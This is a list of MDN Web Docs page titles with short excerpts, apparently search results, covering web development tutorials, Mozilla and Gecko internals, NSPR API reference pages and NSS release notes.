learn more general knowledge property (programming) on wikipedia introduction to object-oriented javascript ...
RTL (Right to Left) - MDN Web Docs Glossary: Definitions of Web-related terms
arabic (ar) is another common language written rtl.
Test your skills: HTML accessibility - Learn web development
give the group a description/title that summarises all of the information as personal data.
A cool-looking box - Learn web development
write a comment about how you worked out the value.
Debugging CSS - Learn web development
it is worth adding some comments to your code as you discover things.
Attribute selectors - Learn web development
[attr|=value] div[lang|="zh"] matches elements with an attr attribute whose value is exactly value or begins with value immediately followed by a hyphen.
Combinators - Learn web development
for example, to select all <img> elements that come right after <p> elements: p + img a common use case is to do something with a paragraph that follows a heading, as in my example below.
Pseudo-classes and pseudo-elements - Learn web development
::grammar-error matches a portion of the document containing a grammar error as flagged by the browser.
Test your skills: Flexbox - Learn web development
below are four common design patterns which you might use flexbox to create, your task is to build them.
Normal Flow - Learn web development
(like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span { background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design.
What is CSS? - Learn web development
a document is usually a text file structured using a markup language — html is the most common markup language, but you may also come across other markup languages such as svg or xml.
How can we design for all types of users? - Learn web development
summary when you're building a website, one top issue to consider is universal design: accommodating all users regardless of disability, technical constraints, culture, location, and so on.
How do you host your website on Google App Engine? - Learn web development
run the following in the command line to select your project: gcloud config set project gaesamplesite then run the following command to go to your app's directory: cd sample-app you are now ready to deploy your application, i.e.
How do I start to design my website? - Learn web development
summary when starting with a web project, many people focus on the technical side.
What are browser developer tools? - Learn web development
if not, firefox allows you to open the console directly using ctrl + shift + k or using the menu command: menu ➤ web developer ➤ web console, or tools ➤ web developer ➤ web console.
What are hyperlinks? - Learn web development
summary hyperlinks, usually called links, are a foundational concept behind the web.
How to build custom form controls - Learn web development
the script did not load: this is one of the most common cases, especially in the mobile world where the network is not very reliable.
Example - Learn web development
express</option> </select> </p> <p> <label for="number"> <span>card number:</span> <strong><abbr title="required">*</abbr></strong> </label> <input type="tel" id="number" name="cardnumber"> </p> <p> <label for="date"> <span>expiration date:</span> <strong><abbr title="required">*</abbr></strong> <em>formatted as mm/dd/yyyy</em> </label> <input type="date" id="date" name="expiration"> </p> </section> <section> <p> <button type="submit">validate the payment</button> </p> </section> </form> css content h1 { margin-top: 0; } ul { margin: 0; padding: 0; list-style: none; } form { margin: 0 auto; width: 400px; padding: 1em; border: 1px solid #ccc; ...
Other form controls - Learn web development
summary as you'll have seen in the last few articles, there are a lot of different types of available form element.
Sending forms through JavaScript - Learn web development
a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a new document when response data is received.
Test your skills: Advanced styling - Learn web development
another thing that commonly denotes a search box is a magnifying glass icon.
Test your skills: Form structure - Learn web development
form structure 1 in this task we want you to structure the provided form features: separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two).
Test your skills: Form validation - Learn web development
give the "user name" field a required length of between 5 and 20 characters, the "phone number" field a maximum length of 15 characters, and the "comment" field a maximum length of 200 characters.
How the Web works - Learn web development
tcp/ip: transmission control protocol and internet protocol are communication protocols that define how data should travel across the internet.
Getting started with the Web - Learn web development
javascript basics javascript is the programming language that you use to add interactive features to your website.
Adding vector graphics to the Web - Learn web development
update the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // we only want to save the state when the user code is being shown, // not the solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; summary this article has provided you with a quick tour of what vector graphics and svg are, why they are useful to know about, and how to include svg inside your webpages.
Function return values - Learn web development
as you go further into your programming career, you'll start doing the same kinds of things over and over again.
Test your skills: Conditionals - Learn web development
we want you to create a conditional that checks whether season contains the string "summer", and if so assigns a string to response that gives the user an appropriate message about the season.
Silly story generator - Learn web development
remember, strings are immutable!
Test your skills: JSON - Learn web development
your task is to fill in the missing parts of the displaycatinfo() function to store: the names of the three mother cats, separated by commas, in the motherinfo variable.
CSS performance optimization - Learn web development
to create a non-blocking css link, move the not-immediately used styles, such as print styles, into separate file, add a <link> to the html mark up, and add a media query, in this case stating it's a print stylesheet.
Measuring performance - Learn web development
at the time of writing, mdn's performance report summary looks similar to the following: a performance report contains information about things like how long a user has to wait before anything is displayed on the page, how many bytes need to be downloaded to display a page, and much more.
Perceived performance - Learn web development
if you're downloading all the assets in the end, the weight of all your assets hasn't improved -- in fact, you may need to add some code -- but because the download of non-immediately necessary assets are delayed in a manner that is not perceptible the the user, the user will feel like the download was faster.
What is web performance? - Learn web development
to summarize, many features impact performance including latency, application size, the number of dom nodes, the number of resource requests made, javascript performance, cpu load, and more.
Chrome Worker Modules
this module loader should not surprise developers familiar with commonjs, as it implements a minimal commonjs require().
ChromeWorkers and the Chrome worker loader
this module loader should not surprise developers familiar with commonjs, as it implements a minimal commonjs require().
Accessibility Information for Core Gecko Developers
join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Information for Assistive Technology Vendors
join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Information for External Developers Dealing with Accessibility
join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Information for users
sibility skins and themes at the excellent access firefox website, you will find many valuable resources, including a list of firefox themes that have been specially designed for those with low vision: themes with high color constrast themes with big icons themes with extra large and bright icons themes with extra large and extra bold text join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Links and Resources
accessibility valet from webthing description and summary to be written.
Mozilla Plugin Accessibility
mozilla community no target ...
Index
found 689 pages: # page tags and summary 1 add-ons add-ons, extension, extensions, landing, mozilla add-ons allow developers to extend and modify the functionality of firefox.
Frequently Asked Questions for Lightweight themes
there are hundreds of thousands community-designed themes to choose from, with more added every day.
Lightweight themes
read more about the types of creative common licenses.
Obsolete
creating a skin for firefox uuid contents.rdf install.rdf theme changes in firefox 2 theme changes in firefox 3 theme changes in firefox 3.5 theme changes in firefox 4 building a theme common theme issues and their solutions making sure your theme works with rtl locales creating a skin for seamonkey 2 dom inspector inspectorwidget force rtl yet another theme tutorial ...
Adding a new word to the en-US dictionary
get into the dictionary sources directory using this command: cd extensions/spellcheck/locales/hunspell/dictionary-sources there's a special script used for editing dictionaries.
Application cache implementation overview
canceled can be set only by call to nsofflinecacheupdate::cancel() public method that also cancels all running items downloads immediately.
Testopia
despite bugzilla 5.0 has already been released a few months ago, we don't plan to release a fix for testopia immediately, because it's currently under heavy work to make testopia a fully self-contained extension, which means that all tr_*.cgi scripts which are currently in the bugzilla/ root directory are being moved into extensions/testopia/lib/.
Cookies Preferences in Mozilla
e.lifetime.enabled, network.cookie.lifetime.behavior, and network.cookie.warnaboutcookies.) true = prefs have been migrated false = migrate prefs on next startup original document information author(s): mike connor last updated date: may 22, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Cookies in Mozilla
original document information author(s): mike connor last updated date: march 15, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Creating MozSearch plugins
o</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> let's say the user chooses to use the yahoo!
Creating a Login Manager storage module
sample javascript implementation the following code snippet is a javascript component that implements a dummy nsiloginmanagerstorage interface.
Creating a spell check dictionary add-on
m:targetapplication> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.15a1</em:minversion> <em:maxversion>2.49</em:maxversion> </description> </em:targetapplication> </description> </rdf> there are some rules about how you should adapt the install.rdf file: if you are creating a new dictionary add-on, we recommend that the em:id consists of your locale code followed by @dictionaries.addons.mozilla.org, but if there is more than one dictionary for your language (for example the german "old spelling" versus "new spelling" dictionaries), you may need to choose another id, that follows the rules of em:id.
Capturing a minidump
you should now see a "command" text window with debug output at the top and an input box at the bottom.
Debugging Chrome
to work around this i was able to record the gpu commands using apitrace.
Debugging Frame Reflow
original document information author(s): bernd mielke last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Debugging Table Reflow
it can be invoked by set gecko_block_debug_flags=reflow the available options are: reflow really-noisy-reflow max-element-size space-manager verify-lines damage-repair lame-paint-metrics lame-reflow-metrics disable-resize-opt these options can be combined with a comma separated list messages generated by the reflow switch: block(div)(1)@00be5ac4: reflowing dirty lines computedwidth=9000 computedheight=1500 this message is generated inside of nsresult nsblockframe::reflowdirtylines(nsblockreflowstate& astate) it first shows the block id and address and then the computed width and height from the htmlreflowstate.
Adding APIs to the navigator object
programmatically adding an object to navigator var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); categorymanager.addcategoryentry("javascript-navigator-property", "myapi", my_contract_id, false, true); this adds a new object, myapi, to the window.navigator object.
Articles for new developers
also, before you go any further, we'd like to welcome you to the mozilla community of developers!
Building Firefox with Debug Symbols
breakpad symbol files after the build is complete, run the following command to generate an archive of breakpad symbol files: mach buildsymbols the tinderbox uses an additional uploadsymbols target to upload symbols to a socorro server.
OS TARGET
os_target is typically the output of the 'uname -s' command on the target platform.
pymake
please note that python 2.7 is strongly recommended.
Working with Mozilla source code
getting commit access to the source code feel ready to join the few, the proud, the committers?
Multiprocess Firefox
message manager a complete guide to the objects used to communicate between chrome code and web content.
Tracking Protection
sites that track users are most commonly third-party advertising and analytics sites.
Firefox and the "about" protocol
about:crashes lists all crashes, which happened during the runtime of firefox (in case the user enabled the crash reporter) about:credits lists all contributors to the firefox project about:debugging switches to the developer tools debugging page, which allows you to debug add-ons, tabs and service workers about:devtools summarizes the developer tools and provides links to documentation for each tool about:downloads displays all downloads done within firefox about:home start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and r...
Firefox UI considerations for web developers
top sites the top sites box lists a user-configurable number of rows of icons serving as quick links to sites the user commonly visits, or that the user has chosen to pin to the top sites list in order to have quick access to them.
HTMLIFrameElement.executeScript()
it's recommended that you include an origin or url, in order to ensure that the script is being executed in the expected context: origin: an origin, e.g.
mozbrowseropentab
the mozbrowseropentab event is fired when a new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
mozbrowseropenwindow
features a domstring containing features represented by a list of names and values separated by commas.
Browser API
mozbrowseropentab sent when a new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) mozbrowserresize sent when the browser <iframe>'s window size has changed.
ChromeWorker
summary if you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
-moz-window-dragging
<window>, <panel> inherited no media visual computed value as specified animation type discrete canonical order the unique non-ambiguous order defined by the formal grammar syntax the -moz-window-dragging property is specified as one of the keyword values listed below.
overflow-clip-box
initial valuepadding-boxapplies toall elementsinheritednomediavisualcomputed valueas specifiedanimation typediscretecanonical orderthe unique non-ambiguous order defined by the formal grammar syntax values padding-box this keyword makes the clipping be related to the padding box.
Embedding Mozilla
community view mozilla forums...
Gecko SDK
once that's done, you should perform the following command: ln -s /opt/local/lib/libintl.8.dylib /opt/local/lib/libintl.3.dylib this should fix the problem.
Gecko versions and application versions
the following table shows the various versions of gecko and what versions of common applications are based on them.
Gecko
view all… community view mozilla forums: mailing list newsgroup rss feed related topics web standards xul embedding mozilla developing mozilla ...
Hacking with Bonsai
you are either at your desk, or pageable, checking e-mail constantly, or on irc so that you can be found immediately and can respond to any problems in your code.
How Mozilla determines MIME Types
checks whether the data is html by looking for some common html tags.
How test harnesses work
the python harness communicates with the browser by inserting an extension in the testing profile or uses marionette's wire protocol to drive the browser.
How to add a build-time test
reference the test dir in a parent makefile (<tt>yourmoduledir/makefile.in</tt>): ifdef enable_tests dirs += tests_type endif (optional, but recommended) add the new makefile to allmakefiles.sh (todo: need more details about this) reconfigure (e.g.
How to get a stacktrace for a bug report
if you have any additional information about the crash, such as additional detail on what you were doing at the time that may have triggered the crash, please enter it into the comments box.
How to investigate Disconnect failures
from there use “signature” as summary for bugzilla bug.
Creating a New Protocol
it may be possible to test protocols unrelated to a particular window using the xpcshell testing framework, which has additional primitives in electrolysis for launching and running js commands in a content process.
IPC Protocol Definition Language (IPDL)
ipdl, short for "ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
Implementing Download Resuming
(it is possible to pass an empty string as the id; however, this means that you have no assurance that the file remained unchanged) now, you can open the channel as usual (using nsichannel.asyncopen() in the common case) and write to the file in the ondataavailable notifications.
Internationalized Domain Names (IDN) Support in Mozilla Browsers
introduction netscape 7.1 is the first commercial browser that has built-in support for internationalized domain name under the new ietf rfc's established in 2003.
JavaScript-DOM Prototypes in Mozilla
to do this, the code figures out what the name of the immediate prototype of the class is by looking at the parent of the primary interface in the class info (if the name is a class constructor, such as htmlimageelement) or by looking at the parent of the interface that the iid stored in the nsscriptnamespacemanager for this name represents (if the name is a class prototype, such as node).
Add-on Manager
the callbacks may be called immediately while the initial function is still executing or shortly after, depending on when the requested data becomes available.
AsyncShutdown.jsm
this phase represents the last chance to communicate with a javascript worker, in particular with os.file.
API-provided widgets
oncommand(aevt) only useful for button widgets; a function that will be invoked when the user activates the button.
Dict.jsm
methods copy() returns a shallow copy of the dictionary; that is, a copy of the dictionary including the items immediately included within the dictionary; however, any objects referenced by those top-level objects are not copied.
Download
if the cancel() method was called but the cancellation process has not finished yet, this method waits for the cancellation to finish, then restarts the download immediately.
Geometry.jsm
the geometry.jsm javascript code module provides routines for performing common geometry operations on points and rectangles.
Following the Android Toasts Tutorial from a JNI Perspective
the arguments are within the parenthesis, and the return type is immediately following.
NetUtil.jsm
the netutil.jsm javascript code module provides easy-to-use apis for performing common network related tasks.
Using the Source Editor API
creating an editor destroying the editor common tasks ...
Using workers in JavaScript code modules
to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_url.js'); this will create a new chrome worker that will immediately begin to run the script at the specified url (in this case, "script_url.js").
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
Localization prerequisites
zip 2.3 (or higher) mercurial 1.2 or higher recommended.
Creating localizable web content
if there are alternatives, use them by adding the $lang; parameter in the urls evaluate the impact of new pages on all our web properties, especially links to community sites and redirects.
Localization formats
her projects understand mozilla has a basic tool called main.lang checker, which can show any untranslated files to the localizer no need to compile to .mo file so a localizer can see his/her changes more quickly creating simple diffs .lang files will be cached which will reduce any slowness effect disadvantage to .lang no plural forms no context for localizers unless you provide good comments no styling by localizers if it is needed may be slower because file is not compiled into binaries not used as a standard by any other localization project no tools to validate syntax, so a localizer may cause accidental errors that can cause breakage (level of breakage depends on level of error) cannot use po editor, which most localizers know and love gettext (.po) gettext is a wide...
Updates
october 21, 2010 mathml 3.0 is now a w3c recommendation!
Various MathML Tests
overview of presentation mathml elements testing tensor indices <mmultiscripts>: r i1 j2 k3 ; this with <none/>, a qp i a bit of calculus: ∫ a b f ( x ) dx ∂ ∂ x f ( x , y ) + ∂ ∂ y f ( x , y ) here is the alphabet with invisible portions wrapped by <mphantom> in between: a b c d e f g h i j k l m n o p q r s t u v w x y z .
Mozilla Development Tools
original document information author(s): myk melez last updated date: november 8, 2005 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla Style System
nsistylerule an nsistylerule is animmutable set of css property-value pairs.
Mozilla Style System Documentation
david baron last updated date: june 6, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
mozilla::CondVar
please see introduction_to_nspr for a high-level summary of its semantics.
mozilla::Monitor
please see introduction_to_nspr for a high-level summary of its semantics.
mozilla::Mutex
please see introduction_to_nspr for a high-level summary of its semantics.
Are We Slim Yet
the are we slim yet project (commonly known as awsy) for several years tracked memory usage across builds on the (now defunct) website areweslimyet.com.
BloatView
to do so, the xpcom_mem_log_classes environment variable should be set to the name of the class from the bloatview table: xpcom_mem_log_classes=myclass mach mochitest [options] multiple class names can be specified by setting xpcom_mem_log_classes to a comma-separated list of names: xpcom_mem_log_classes=myclass,myotherclass,deliberatelyleakedclass mach mochitest [options] test harness scripts typically accept a --setenv option for specifying environment variables, which may be more convenient in some cases: mach mochitest --setenv=xpcom_mem_log_classes=myclass [options] for getting allocation stacks in automation, you can add the appropriate --...
GC and CC logs
from the commandline tldr: if you just want shutdown gc/cc logs to debug leaks that happen in our automated tests, you probably want something along the lines of: moz_disable_content_sandbox=t moz_cc_log_directory=/full/path/to/log/directory/ moz_cc_log_shutdown=1 moz_cc_all_traces=shutdown ./mach ...
GPU performance
guides accurately profiling direct3d api calls (direct3d 9)- suggests avoiding normal profilers like xperf and instead measuring the time to flush the command buffer.
Measuring performance using the PerfMeasurement.jsm code module
since we enable monitoring immediately before calling code_to_be_benchmarked(), and disable it as soon as it returns, the code in set_up_some_state() and clean_up_afterward() is not measured.
Memory Profiler
another common approach is to plot the allocations or the memory usages along the timeline.
Profiling with Instruments
click the record button (red circle in top left) wait for the amount of time that you want to profile click the stop button command line tools there is instruments and iprofiler.
Crash reporting
finally, a set of mozilla employees have access to directly query the underlying data in either sql summary or using mapreduce on the storage cluster.
Emscripten techniques
debugging out-of-memory problems a common bug to diagnose with emscripten is where a big game fails due to an out of memory error (oom) somewhere during load time.
Firefox Sync
ios there is some in-tree documentation and there are some extensive comments here and here.
JSHydra
documentation installing jshydra download, installation and dependency info for jshydra community view jshydra forums...
L20n HTML Bindings
download l20n with html bindings we maintain a repository with l20n optimized for production use: one file (~110kb) one file, minified (~35kb) it's recommended to include the l20n.js file as the last script in the head element.
MailNews automated testing
these tests are run against almost every changeset that gets committed to the thunderbird and seamonkey code bases.
MailNews
it provides a number of functions and capabilities, including: communications protocols - smtp, pop3, imap, nntp message management, including search and filtering message composition address book the mailnews code lives in the mailnews/ directory of comm-central.
Index
found 1 pages: # page tags and summary 1 index found 1 pages: ...
NSPR Poll Method
on return, if (new_flags & out_flags) is nonzero, you can try pr_recv or pr_send immediately.
Atomic Operations
therefore, to preserve portability, it is recommended that clients use the nspr api for atomic operations.
I/O Types
this chapter describes the most common nspr types, enumerations, and structures used with the functions described in i/o functions and network addresses.
Interval Timing
such parameters are common in nspr functions such as those used for i/o operations and operations on condition variables.
Long Long (64-bit) Integers
where 64-bit integers are desired, use of nspr's implementation is recommended to ensure cross-platform compatibility.
Memory Management Operations
memory allocation macros macro versions of the memory allocation functions are available, as well as additional macros that provide programming convenience: pr_malloc pr_new pr_realloc pr_calloc pr_newzap pr_delete pr_freeif ...
Monitors
in addition to the mutex type prlock, nspr provides a special type, prmonitor, for use in java programming.
NSPR Types
this chapter describes the most common nspr types.
Network Addresses
to facilitate the transition to ipv6, it is recommended that clients treat all structures containing network addresses as transparent objects and use the functions documented here to manipulate the information.
PL_strdup
description to accommodate the terminator, the size of the allocated memory is one greater than the length of the string being copied.
PRExplodedTime
the values 60 and 61 are for accommodating up to two leap seconds.
PRFileDesc
a file descriptor used to represent any open file, such as a normal file, an end point of a pipe, or a socket (end point of network communication).
PRIntervalTime
they indicate that the process should wait no time (return immediately) or wait forever (never time out), respectively.
PRThreadPriority
pr_priority_normal the most commonly expected priority.
PRTimeParameters
this is most commonly 1 hour, but may also be 30 minutes or some other amount.
PR_Cleanup
when the primordial thread returns from main, the process immediately and silently exits.
PR_CreateFileMap
the returned file-mapping object must be passed to pr_memmap to actually map a section of the file to memory.
PR_CreatePipe
pipes are useful for interprocess communication between a parent and a child process.
PR ImportTCPSocket
in practice, this is unlikely to happen because nspr's implementation has been stable for years and because of nspr's strong commitment to backward compatibility.
PR_Interrupt
when the interrupted thread reaches the prearranged point, it can communicate with its peer to discover the real reason behind the change in plans.
PR_IntervalNow
the most common use for pr_intervalnow() is to establish an epoch and test for the expiration of intervals.
PR_NETDB_BUF_SIZE
recommended size to use when specifying a scratch buffer for pr_gethostbyname, pr_gethostbyaddr, pr_getprotobyname, or pr_getprotobynumber.
PR_PopIOLayer
if the layer is not found in the stack or cannot be popped (for example, the bottommost layer), the function returns null with the error code pr_invalid_argument_error.
PR_ProcessExit
causes an immediate, nongraceful, forced termination of the process.
PR_TransmitFile
pr_transmitfile_close_socket indicates that the connection should be closed immediately after successful transfer of the file.
PR_Unmap
the parameter addr is the return value of an earlier call to pr_memmap.
PR_VERSION
syntax #include <prinit.h> #define pr_version "2.1 yyyymmdd" description the format of the version string ismajorversion.minorversion builddate.
PR_Wait
it is the responsibility of the programmer to evaluate the data and act accordingly.
PR_WaitCondVar
the value pr_interval_no_wait causes the thread to release the lock, possibly causing a rescheduling within the runtime, then immediately attempt to reacquire the lock and resume.
Process Initialization
this facility is recommended in situations where complicated global initialization is required.
Thread Pools
butenhof inprogramming with posix threads (addison-wesley, 1997).
NSPR API Reference
inking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program platform notes dynamic library search path exporting symbols from the main executable program process management and interprocess communication process management types and constants prprocess prprocessattr process management functions setting the attributes of a new process creating and managing processes multiwait receive system information and environment variables logging conditional compilation and execution log types and variables prlogmoduleinfo prlogmodulelevel nspr_lo...
NSPR
on a 64-bit os mozilla-nspr-devel : files needed (in addition to the above libraries) to compile programs using nspr mozilla-nspr-debuginfo : debug information (including build symbols) for package mozilla-nspr mozilla-nspr-debuginfo-32bit : debug information (including build symbols) for package mozilla-nspr-32bit mozilla-nspr-debugsource : debug sources for all of the above community view mozilla forums...
Certificate functions
r cert_getcertnicknames mxr 3.2 and later cert_getcerttrust mxr 3.2 and later cert_getcertuid mxr 3.2 and later cert_getclassicocspdisabledpolicy mxr 3.12 and later cert_getclassicocspenabledhardfailurepolicy mxr 3.12 and later cert_getclassicocspenabledsoftfailurepolicy mxr 3.12 and later cert_getcommonname mxr 3.2 and later cert_getcountryname mxr 3.2 and later cert_getdbcontentversion mxr 3.2 and later cert_getdefaultcertdb mxr 3.2 and later cert_getdomaincomponentname mxr 3.2 and later cert_getfirstemailaddress mxr 3.7 and later cert_getlocalityname mxr 3.2 and later cert_getnextemailadd...
FIPS Mode - an explanation
in non-fips mode, nss is willing and able to use popular non-fips approved cryptographic algorithms, such as rc4 and md5, to communicate with older https servers.
HTTP delegation
once nss is finished providing all details, it will request to initiate the actual network communication (sec_httprequest_trysendandreceivefcn).
HTTP delegation
once nss is finished providing all details, it will request to initiate the actual network communication (sec_httprequest_trysendandreceivefcn).
Introduction to Network Security Services
network security services (nss) is a set of libraries designed to support cross-platform development of communications applications that support ssl, s/mime, and other internet security standards.
Build instructions for JSS 4.3.x
we recommend most applications use the "win95" configuration.
JSS Provider Notes
secretkey supported algorithms notes aes des desede (des3 ) hmacsha1 rc2 rc4 secretkey is implemented by the class org.mozilla.jss.crypto.secretkeyfacade, which acts as a wrapper around the jss class symmetrickey.
Mozilla-JSS JCA Provider notes
secretkey supported algorithms notes aes des desede (des3) hmacsha1 rc2 rc4 secretkey is implemented by the class org.mozilla.jss.crypto.secretkeyfacade, which acts as a wrapper around the jss class symmetrickey.
JSS
MozillaProjectsNSSJSS
s 4.3.x older build instructions download or view source download binaries, source, and javadoc view the source online testing jss tests frequently asked questions jss faq information on jss planning can be found at wiki.mozilla.org, including: nss fips validation nss roadmap page community view mozilla cryptography forums...
NSS Key Log Format
comment lines begin with a sharp character ('#') and are ignored.
NSS_3.11.10_release_notes.html
bug 291384: certutil -k behavior doesn't match usage bug 374247: modutil -disable command not disabling modules' slots bug 384459: certification path validation fails when authority key identifier extension contains key identifier bug 385946: can't import certificate into cert database in fips mode (certutil).
NSS_3.12.1_release_notes.html
03: replace pkix_pl_memcpy with memcpy bug 433177: fix the gcc compiler warnings in lib/util and lib/freebl bug 433437: vfychain ignores the -a option bug 433594: crash destroying ocsp cert id [[@ cert_destroyocspcertid ] bug 434099: nss relies on unchecked pkcs#11 object attribute values bug 434187: fix the gcc compiler warnings in nss/lib bug 434398: libpkix cannot find issuer cert immediately after checking it with ocsp bug 434808: certutil -b deadlock when importing two or more roots bug 434860: coverity 1150 - dead code in ocsp_createcertid bug 436428: remove unneeded assert from sec_pkcs7encryptlength bug 436430: make nss public headers compilable with no_nspr_10_support defined bug 436577: uninitialized variable in sec_pkcs5createalgorithmid bug 438685: libpkix...
NSS_3.12.2_release_notes.html
0527: get rid of pkixerrormsg variable in pkix_error bug 391560: libpkix does not consistently return pkix_validatenode tree that truly represent failure reasons bug 408260: certutil usage doesn't give enough information about trust arguments bug 412311: replace pr_interval_no_wait with pr_interval_no_timeout in client initialization calls bug 423839: add multiple pkcs#11 token password command line option to nss tools.
NSS 3.12.4 release notes
nsion in libpkix bug 391434: avoid multiple encoding/decoding of pkix_pl_oid to and from ascii string bug 405297: problems building nss/lib/ckfw/capi/ with mingw gcc bug 420991: libpkix returns wrong nss error code bug 427135: add super-h (sh3,4) architecture support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted from nss bug 449332: secu_parsecommandline does not validate its inputs bug 453735: when using cert9 (sqlite3) db, set or change master password fails bug 463544: warning: passing enum* for an int* argument in pkix_validate.c bug 469588: coverity errors reported for softoken bug 470055: pkix_httpcertstore_findsocketconnection reuses closed socket bug 470070: multiple object leaks reported by tinderbox bug 470479: io timeout during ...
NSS 3.12.5 release_notes
her suites implemented in windows 7 to ssltap bug 516101: if pk11_importcert fails, it leaves the certificate undiscoverable by cert_pkixverifycert bug 518443: pk11_importandreturnprivatekey leaks an arena bug 518446: pk11_derencodepublickey leaks a certsubjectpublickeyinfo bug 518457: seckey_encodedersubjectpublickeyinfo and pk11_derencodepublickey are duplicate bug 522510: add deprecated comments to key.h and pk11func.h bug 522580: nss uses port_memcmp for comparing secret data.
NSS 3.12.6 release notes
trings bug 530907: the peerid argument to ssl_setsockpeerid should be declared const bug 531188: decompression failure with https://livechat.merlin.pl/ bug 532417: build problem with spaces in path names bug 534943: clean up the makefiles in lib/ckfw/builtins bug 534945: lib/dev does not need to include headers from lib/ckfw bug 535669: move common makefile code in if and else to the outside bug 536023: der_utctimetotime and der_generalizedtimetotime ignore all bytes after an embedded null bug 536474: add support for logging pre-master secrets bug 537356: implement new safe ssl3 & tls renegotiation bug 537795: nss_initcontext does not work with nss_registershutdown bug 537829: allow nss to buil...
NSS 3.14.2 release notes
initial manual pages for some nss command line tools have been added.
NSS 3.14.3 release notes
however, unlike pk11_sign, which uses a seckeyprivatekey, pk11_signwithsymkey performs the signature using a symmetric key, such as commonly used for generating macs.
NSS 3.14.4 release notes
users are encouraged to upgrade immediately.
NSS 3.14.5 release notes
users are encouraged to upgrade immediately.
NSS 3.15.1 release notes
notable changes in nss 3.15.1 bug 856060 - enforce name constraints on the common name in libpkix when no subjectaltname is present.
NSS 3.15.2 release notes
users are encouraged to upgrade immediately.
NSS 3.15.3.1 release notes
users are encouraged to upgrade immediately.
NSS 3.15.3 release notes
users are encouraged to upgrade immediately.
NSS 3.15 release notes
support for single-operation (eg: not multi-part) symmetric key encryption and decryption, via pk11_encrypt and pk11_decrypt.
NSS 3.16.2.1 release notes
users are encouraged to upgrade immediately.
NSS 3.16.5 release notes
users are encouraged to upgrade immediately.
NSS 3.16 release notes
bug 962760: libpkix should not include the common name of ca as dns names when evaluating name constraints.
NSS 3.17.1 release notes
users are encouraged to upgrade immediately.
NSS 3.17.4 release notes
notable changes in nss 3.17.4 bug 1084986: if an ssl/tls connection fails, because client and server don't have any common protocol version enabled, nss has been changed to report error code ssl_error_unsupported_version (instead of reporting ssl_error_no_cypher_overlap).
NSS 3.19.2.1 release notes
users are encouraged to upgrade immediately.
NSS 3.19.4 release notes
users are encouraged to upgrade immediately.
NSS 3.20.1 release notes
users are encouraged to upgrade immediately.
NSS 3.20 release notes
please refer to the comments in the header file that declares the ssl_enableweakdheprimegroup api for additional details.
NSS 3.28.3 release notes
if you had compiled your application against header files of nss 3.28, nss 3.28.1 or nss 3.28.2, it it recommended that you recompile your application against nss 3.28.3, at the time you upgrade to nss 3.28.3.
NSS 3.28 release notes
nss will now no longer assume that default signature schemes are supported by a peer if there was no commonly supported signature scheme.
NSS 3.29.1 release notes
if you had compiled your application against header files of nss 3.28, nss 3.28.1, nss 3.28.2 or nss 3.29, it it recommended that you recompile your application against nss 3.29.1 (or nss 3.28.3), at the time you upgrade to nss 3.29.1 (or nss 3.28.3).
